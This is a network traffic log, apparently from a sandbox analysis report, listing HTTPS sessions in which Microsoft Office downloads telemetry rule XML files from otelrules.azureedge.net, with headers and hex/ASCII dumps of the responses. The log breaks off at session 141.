2024-11-21 06:10:53 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:53 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4a98b9d9-501e-008c-636d-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061053Z-178bfbc474bmqmgjhC1NYCy16c000000012g00000000g7ry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:54 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:54 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 32afe7a4-a01e-0021-2bc3-3b814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061054Z-r1d97b99577n4dznhC1TEBc1qw00000009wg00000000hn7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:54 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:55 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:55 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 3b38473f-101e-007a-2bbc-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061055Z-r1d97b99577l6wbzhC1TEB3fwn0000000a60000000000971 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:55 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:55 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 95a88f05-701e-001e-7f87-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061055Z-r1d97b99577n4dznhC1TEBc1qw00000009z0000000009emu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:55 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:55 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 40dbe65e-a01e-0050-4363-3bdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061055Z-178bfbc474btrnf9hC1NYCb80g000000016000000000ckhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:55 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:55 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 607d0db8-301e-0052-4363-3b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061055Z-178bfbc474bh5zbqhC1NYCkdug00000000xg00000000kx0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:55 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:56 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:56 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:56 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d606dcfe-601e-003e-695e-3b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061056Z-178bfbc474bv7whqhC1NYC1fg4000000010g00000000f1u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:56 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:56 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:57 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:57 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: de9d050e-401e-0078-2067-3b4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061057Z-178bfbc474bvjk8shC1NYC83ns00000000vg00000000epfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:57 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:57 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:58 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:57 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5b95a93a-a01e-006f-7568-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061057Z-178bfbc474bv7whqhC1NYC1fg4000000011000000000dehu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:57 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:57 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:57 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061057Z-r1d97b99577sdxndhC1TEBec5n0000000a1000000000d9x4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:57 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:58 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:58 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:58 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061058Z-178bfbc474bfw4gbhC1NYCunf40000000130000000007nzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:58 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
